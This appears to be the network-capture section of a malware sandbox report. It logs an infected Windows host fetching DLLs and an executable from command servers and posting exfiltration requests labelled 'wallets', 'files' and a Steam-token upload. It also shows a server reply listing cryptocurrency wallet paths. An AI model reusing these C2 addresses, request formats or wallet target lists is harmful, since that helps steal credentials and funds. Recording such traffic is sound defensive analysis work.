Dec 18, 2024 17:09:18.210186958 CET	272	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Dec 18, 2024 17:09:18.214812994 CET	1236	IN	Data Raw: 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff 75 14 e8 23 fc ff ff 83 c4 08 85 c0 74 1c 8b 3e 85 ff 74 20 8b 46 04 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff d1 83 c4 08 eb 0a 8b 45 ec 8b 4d f0 Data Ascii: ^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vh
Dec 18, 2024 17:09:18.214832067 CET	1236	IN	Data Raw: 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 1c 06 88 14 3e 83 c0 02 eb b2 66 c7 86 00 01 00 00 00 00 89 f7 8b Data Ascii: >\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]USWV4MEE9Eshy
Dec 18, 2024 17:09:18.222142935 CET	1236	IN	Data Raw: 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f ef db 66 0f eb f9 66 0f 72 f4 17 66 0f fe 25 e0 20 08 10 f3 0f 5b cc 66 0f 70 e5 f5 66 0f f4 e9 66 0f 70 f5 e8 66 0f 70 c9 f5 66 0f f4 cc 66 0f Data Ascii: fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfp
Dec 18, 2024 17:09:18.222580910 CET	1236	IN	Data Raw: d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f b6 14 32 8b 7d f0 88 14 07 8b 45 f0 88 0c 30 00 ca 0f b6 c2 8b 4d f0 0f b6 04 01 89 45 cc 8b 45 e8 8b 4d ec 8d 4c 01 02 0f b6 c9 8b 45 f0 0f b6 Data Ascii: uEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMUU}47}4M1uU
Dec 18, 2024 17:09:19.956054926 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:09:20.403964996 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 18, 2024 17:09:21.409209013 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:09:21.857279062 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 18, 2024 17:09:22.663062096 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:09:23.108891010 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 18, 2024 17:09:26.493357897 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:09:26.939141989 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 18, 2024 17:09:28.077419996 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:09:28.524321079 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 18, 2024 17:09:29.845128059 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 17:09:30.861285925 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:31.203619003 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 2d 2d 0d 0a Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="message"wallets------CBFIJEGIDBGIECAKKEGD--
Dec 18, 2024 17:09:31.651356936 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 18, 2024 17:09:31.655791044 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="message"files------KJJJDHDGDAAKECAKJDAE--
Dec 18, 2024 17:09:32.214858055 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:32.246994972 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGIECGCBKFIEBGCAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFIEGIECGCBKFIEBGCAAContent-Disposition: form-data; name="file"------AFIEGIECGCBKFIEBGCAA--
Dec 18, 2024 17:09:33.493540049 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:09:33.526137114 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"ybncbhylepme------BKFBAECBAEGDGDHIEHIJ--
Dec 18, 2024 17:09:33.974211931 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49930	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:12.299036980 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016970001&unit=246122658369
Dec 18, 2024 17:09:13.635035038 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49939	31.41.244.11	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:13.945704937 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 17:09:15.275280952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:09:15 GMT Content-Type: application/octet-stream Content-Length: 2009088 Last-Modified: Wed, 18 Dec 2024 15:38:55 GMT Connection: keep-alive ETag: "6762ec8f-1ea800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 